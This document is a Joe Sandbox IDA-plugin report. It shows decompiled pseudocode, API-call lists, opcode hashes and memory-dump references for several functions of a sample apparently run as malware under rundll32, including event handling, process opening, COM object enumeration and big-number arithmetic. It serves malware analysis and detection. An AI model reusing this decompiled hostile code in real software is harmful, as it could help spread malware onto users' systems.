Opcode ID: b90ba4ba41e823cbaa73a53af58b7e4c66da9edd49a49ff1413a96ec00c9ce64
Instruction ID: bed97e663c6b3df09f03512534e64640c27fbe4c910a657ef71928cb94dedf52
Opcode Fuzzy Hash: b90ba4ba41e823cbaa73a53af58b7e4c66da9edd49a49ff1413a96ec00c9ce64
Instruction Fuzzy Hash: F721F476900208FFDB21DFE8D9869EEBBB8FF44204B5044AEE641E7640E6349B44CB60

Uniqueness

Uniqueness Score: -1.00%

Function 010F6D78 Relevance: 7.5, APIs: 5, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F6D78(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x10fa30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x10fa2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0x10fa2f8 = _t6;
					 *0x10fa304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x10fa2f4 = _t7;
					if(_t7 == 0) {
						 *0x10fa2f4 =  *0x10fa2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}

0x010f6d80
0x010f6d86
0x010f6d8d
0x00000000
0x010f6de7
0x010f6d8f
0x010f6d97
0x010f6da4
0x010f6da4
0x010f6de4
0x00000000
0x010f6de4
0x010f6da6
0x010f6da6
0x010f6dab
0x010f6dbd
0x010f6dc2
0x010f6dc8
0x010f6dce
0x010f6dd5
0x010f6dd7
0x010f6dd7
0x00000000
0x010f6dde
0x010f6da0
0x00000000
0x00000000
0x010f6da2
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,010F1D07,?), ref: 010F6D80
GetVersion.KERNEL32 ref: 010F6D8F
GetCurrentProcessId.KERNEL32 ref: 010F6DAB
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 010F6DC8
GetLastError.KERNEL32 ref: 010F6DE7

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: d7bf51868b96586aad6e4338bd915ffd756279ac264b0949a51c266247d08077
Instruction ID: c8dfb4c82b5ef13afacfd813b2b2b89f8bd9a8f1504d6322583cec9865baab8f
Opcode Fuzzy Hash: d7bf51868b96586aad6e4338bd915ffd756279ac264b0949a51c266247d08077
Instruction Fuzzy Hash: D4F03C74B40302DFDBB4AF28A91BB183BA1AB44745F10851DF6D6CB9C9D6BF8080CB15

Uniqueness

Uniqueness Score: -1.00%

Function 010F2732 Relevance: 6.2, APIs: 4, Instructions: 154
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E010F2732(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x10fa348; // 0x40ad5a8
					_t5 = _t103 + 0x10fb038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x10f9290);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x10fa348; // 0x40ad5a8
												_t28 = _t109 + 0x10fb0bc; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x10fa348; // 0x40ad5a8
														_t33 = _t79 + 0x10fb078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}

0x010f2737
0x010f2740
0x010f2741
0x010f2745
0x010f274b
0x010f2751
0x010f275a
0x010f2760
0x010f276a
0x010f276c
0x010f2772
0x010f2777
0x010f2782
0x010f2788
0x010f278d
0x010f28af
0x010f2793
0x010f2793
0x010f27a0
0x010f27a6
0x010f27ac
0x010f27b0
0x010f27b6
0x010f27c3
0x010f27c7
0x010f27cd
0x010f27d0
0x010f27d8
0x010f27d9
0x010f27dd
0x010f27e1
0x010f27e4
0x010f27e7
0x010f27ed
0x010f27f6
0x010f27fc
0x010f27fd
0x010f2800
0x010f2801
0x010f2802
0x010f280a
0x010f280b
0x010f280c
0x010f280e
0x010f2812
0x010f2816
0x00000000
0x00000000
0x010f281c
0x010f2825
0x010f282b
0x010f2835
0x010f2839
0x010f283b
0x010f2848
0x010f284c
0x010f2854
0x010f2859
0x010f286b
0x010f286d
0x010f2873
0x010f2873
0x010f287c
0x010f287c
0x010f287e
0x010f2884
0x010f2884
0x010f2887
0x010f288d
0x010f2890
0x010f2899
0x00000000
0x00000000
0x00000000
0x010f2899
0x010f27ed
0x010f27e7
0x010f27d0
0x010f289f
0x010f289f
0x010f28a5
0x010f28a5
0x010f28ab
0x010f28ab
0x010f28b4
0x010f28ba
0x010f28ba
0x010f2777
0x010f28c3

APIs

SysAllocString.OLEAUT32(010F9290), ref: 010F2782
lstrcmpW.KERNEL32(00000000,0076006F), ref: 010F2863
SysFreeString.OLEAUT32(00000000), ref: 010F287C
SysFreeString.OLEAUT32(?), ref: 010F28AB

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: 9ee4ca086c4ffc9abadb81987aae490958f1e32ff26cb2b0d7ff19565ae441d4
Instruction ID: 6049b13e13bd2b14d939fc402f65665c47d5d20f5fd4be68cc47e41192dd78b5
Opcode Fuzzy Hash: 9ee4ca086c4ffc9abadb81987aae490958f1e32ff26cb2b0d7ff19565ae441d4
Instruction Fuzzy Hash: 1A513D75D0050AEFCB10DFA8C489DEEB7B9EF88704B144599FA15EB214D731AD42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010F5B9D Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 010F5BD8
SysFreeString.OLEAUT32(00000000), ref: 010F5CBD

Part of subcall function 010F2732: SysAllocString.OLEAUT32(010F9290), ref: 010F2782

SafeArrayDestroy.OLEAUT32(00000000), ref: 010F5D10
SysFreeString.OLEAUT32(00000000), ref: 010F5D1F

Part of subcall function 010F3A62: Sleep.KERNEL32(000001F4), ref: 010F3AAA

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: String$AllocFree$ArrayDestroySafeSleep
String ID:
API String ID: 3193056040-0
Opcode ID: 6d43fc3cbf779b0b527ad56a1858693c3e47ac6db250f65f3e16e51b12c7c470
Instruction ID: bb411d2aa936e6be6f26fa486338aafdba9a5eeb797f2363dbe100d90f293f49
Opcode Fuzzy Hash: 6d43fc3cbf779b0b527ad56a1858693c3e47ac6db250f65f3e16e51b12c7c470
Instruction Fuzzy Hash: 84517E35500609AFDB11DFA8C849ADEB7B6FF88700F14846DEA85DB654DB31ED06CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010F1DE3 Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E010F1DE3(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E010F2FAB(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E010F1CC1(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E010F2920(_t101,  &_v428, _a8, _t96 - _t81);
					E010F2920(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E010F1CC1(_t101, 0x10fa1d0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E010F1CC1(_a16, _a4);
						E010F3ADA(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L010F824A();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L010F8244();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E010F241B(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E010F2378(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E010F79CC(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x10fa1d0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x010f1de6
0x010f1df2
0x010f1df8
0x010f1dfd
0x010f1e01
0x010f1f73
0x010f1f77
0x010f1f77
0x010f1e07
0x010f1e0b
0x010f1e0f
0x010f1e12
0x010f1e1d
0x010f1e23
0x010f1e28
0x010f1e2b
0x010f1e45
0x010f1e54
0x010f1e60
0x010f1e6a
0x010f1e6f
0x010f1e71
0x010f1e74
0x010f1f2b
0x010f1f31
0x010f1f42
0x010f1f55
0x010f1f6b
0x00000000
0x010f1f70
0x010f1e7d
0x010f1e84
0x010f1e88
0x010f1e8e
0x010f1e90
0x010f1e92
0x010f1e94
0x010f1e96
0x010f1ea0
0x010f1ea5
0x010f1ea7
0x010f1ea9
0x010f1eaa
0x010f1eab
0x010f1eac
0x010f1eb3
0x010f1eba
0x010f1ebd
0x010f1ebd
0x010f1e8a
0x010f1e8a
0x010f1e8a
0x010f1ec5
0x010f1ecd
0x010f1ed9
0x010f1ede
0x010f1ede
0x010f1ee3
0x00000000
0x00000000
0x010f1ee5
0x010f1ee8
0x010f1ef5
0x00000000
0x00000000
0x010f1ef7
0x010f1ef7
0x010f1f04
0x010f1ede
0x010f1ee3
0x00000000
0x00000000
0x00000000
0x010f1ee3
0x010f1f0e
0x010f1f11
0x010f1f14
0x010f1f1b
0x010f1f1b
0x010f1f28
0x00000000
0x010f1f28
0x010f1e14
0x010f1e18
0x010f1e19
0x010f1e1b
0x00000000
0x00000000
0x00000000
0x010f1e1b
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 010F1E96
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 010F1EAC
memset.NTDLL ref: 010F1F55
memset.NTDLL ref: 010F1F6B

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: b65d2cec2abbac612e094a14928c31c7f53ffe76c391469739a36125899ac018
Instruction ID: 5351d19deeda6e9f632a012ae3c989920322ba0c8dba178817a85f4be9b0ee1b
Opcode Fuzzy Hash: b65d2cec2abbac612e094a14928c31c7f53ffe76c391469739a36125899ac018
Instruction Fuzzy Hash: 6A41AE31A0021AEFDF10DF68DC82BEE77B4EF55710F00456DBA99A7680DB70AE548B91

Uniqueness

Uniqueness Score: -1.00%

Function 010F498E Relevance: 6.1, APIs: 4, Instructions: 96
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E010F498E(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x10fa310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x10fa348; // 0x40ad5a8
				_t3 = _t8 + 0x10fb87a; // 0x61636f4c
				_t25 = 0;
				_t30 = E010F11C3(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x10fa34c, 1, 0, _t30);
					E010F6C2C(_t30);
				}
				_t12 =  *0x10fa2fc; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E010F68BD() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E010F402A(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x10fa124( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E010F7928(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x010f498f
0x010f4996
0x010f49a0
0x010f49a4
0x010f49aa
0x010f49b9
0x010f49c0
0x010f49c4
0x010f49d6
0x010f49d8
0x010f49d8
0x010f49dd
0x010f49e4
0x010f4a3b
0x010f4a3b
0x010f4a41
0x010f4a43
0x010f4a43
0x010f4a4d
0x010f4a51
0x010f4a63
0x010f4a63
0x010f4a67
0x010f4a6d
0x010f4a6d
0x00000000
0x010f49fd
0x010f4a02
0x010f4a0a
0x010f4a0e
0x010f4a12
0x010f4a12
0x010f4a1f
0x010f4a23
0x010f4a27
0x010f4a7c
0x010f4a82
0x010f4a82
0x010f4a35
0x010f4a39
0x010f4a70
0x010f4a72
0x010f4a75
0x010f4a75
0x00000000
0x010f4a72
0x010f4a39
0x00000000
0x010f4a23

APIs

Part of subcall function 010F11C3: lstrlen.KERNEL32(00000005,00000000,69B25F44,00000027,00000000,051A9D70,00000000,?,?,69B25F44,00000005,010FA00C,4D283A53,?,?), ref: 010F11F9
Part of subcall function 010F11C3: lstrcpy.KERNEL32(00000000,00000000), ref: 010F121D
Part of subcall function 010F11C3: lstrcat.KERNEL32(00000000,00000000), ref: 010F1225

CreateEventA.KERNEL32(010FA34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,010F7187,?,?,?), ref: 010F49CF

Part of subcall function 010F6C2C: RtlFreeHeap.NTDLL(00000000,00000000,010F5E1D,00000000,?,?,00000000), ref: 010F6C38

WaitForSingleObject.KERNEL32(00000000,00004E20,010F7187,00000000,00000000,?,00000000,?,010F7187,?,?,?), ref: 010F4A2F
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,010F7187,?,?,?), ref: 010F4A5D
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,010F7187,?,?,?), ref: 010F4A75

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: 011c7ea588128a71467d0822b3a7aef9e4049fec3c6061ba20848f8879ae6040
Instruction ID: cb79969c0a80956785184519937285ea2776bbdc1b53d72a8a5c92a8848285ee
Opcode Fuzzy Hash: 011c7ea588128a71467d0822b3a7aef9e4049fec3c6061ba20848f8879ae6040
Instruction Fuzzy Hash: 53215732600311ABE3719E6C9C47BAB76E9EF88710B05066DFFC5D7905EB76C8048788

Uniqueness

Uniqueness Score: -1.00%

Function 010F70D8 Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E010F70D8(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E010F54BB(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E010F78BF(_t23);
						}
					}
					return _t38;
				}
				if(E010F3695(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x10fa34c, 1, 0,  *0x10fa3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E010F71B6(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E010F3472(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E010F3AC2(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E010F498E( &_v32, _t39);
					goto L13;
				}
			}

0x010f70d8
0x010f70e5
0x010f70eb
0x010f70ec
0x010f70ed
0x010f70ee
0x010f70ef
0x010f70f3
0x010f70ff
0x010f7103
0x010f718b
0x010f718b
0x010f718e
0x010f7190
0x010f7198
0x010f719e
0x010f71a1
0x010f71a1
0x010f719e
0x010f71ac
0x010f71ac
0x010f7116
0x010f7118
0x010f7118
0x010f712f
0x010f7133
0x010f7136
0x010f7141
0x010f7148
0x010f7148
0x010f7151
0x010f7155
0x010f7163
0x010f7157
0x010f7157
0x010f7158
0x010f7159
0x010f715a
0x010f715b
0x010f715c
0x010f715c
0x010f7168
0x010f716b
0x010f716f
0x010f7171
0x010f7171
0x010f7178
0x00000000
0x010f717a
0x010f717a
0x010f7187
0x00000000
0x010f7187

APIs

CreateEventA.KERNEL32(010FA34C,00000001,00000000,00000040,?,?,7620F710,00000000,7620F730), ref: 010F7129
SetEvent.KERNEL32(00000000), ref: 010F7136
Sleep.KERNEL32(00000BB8), ref: 010F7141
CloseHandle.KERNEL32(00000000), ref: 010F7148

Part of subcall function 010F71B6: WaitForSingleObject.KERNEL32(00000000,?,?,?,010F7168,?,010F7168,?,?,?,?,?,010F7168,?), ref: 010F7290

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: 2a6ba84c8bf092c76491355102d4ebc01ad412011b02b38088ebdf502d814908
Instruction ID: c16653fa171982d48f6bb43f091a3dec7d77d6b047b4055243fc5bc5dec64613
Opcode Fuzzy Hash: 2a6ba84c8bf092c76491355102d4ebc01ad412011b02b38088ebdf502d814908
Instruction Fuzzy Hash: 88219572D00119AFDB20AFEC8886DDE77BBBB44250B05446DFBD1A7900D735994987A2

Uniqueness

Uniqueness Score: -1.00%

Function 010F264F Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E010F264F(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E010F6D63(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x010f265b
0x010f265f
0x010f2660
0x010f2661
0x010f2663
0x010f2665
0x010f2668
0x010f266d
0x010f2704
0x010f270b
0x010f270b
0x010f2676
0x010f267d
0x010f268d
0x010f268d
0x010f2693
0x010f2695
0x010f269a
0x010f26a3
0x010f26a9
0x010f26ae
0x010f26b9
0x010f26bd
0x010f26bf
0x010f26c0
0x010f26c9
0x010f26cd
0x010f26de
0x010f26cf
0x010f26d4
0x010f26d9
0x010f26e8
0x010f26e8
0x010f26bd
0x010f26ee
0x010f26f4
0x010f26f4
0x010f26fd
0x010f2702
0x010f2702
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 010F267D
lstrlenW.KERNEL32(?), ref: 010F26B3
memcpy.NTDLL(00000000,?,?,?), ref: 010F26D4
SysFreeString.OLEAUT32(?), ref: 010F26E8

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 2fba7fdf3fdef340e0ab62fc1452d435a2d9a723462248d5b8f25e6eca2955d9
Instruction ID: 4a76c868438362a0511ab0328821818dbe9d84e312a232555c74ae8da1345103
Opcode Fuzzy Hash: 2fba7fdf3fdef340e0ab62fc1452d435a2d9a723462248d5b8f25e6eca2955d9
Instruction Fuzzy Hash: D1213C7990020AEFDB11DFA8C9859DEBBB8FF48214B1041ADFA85E7600EB71DA45CB50

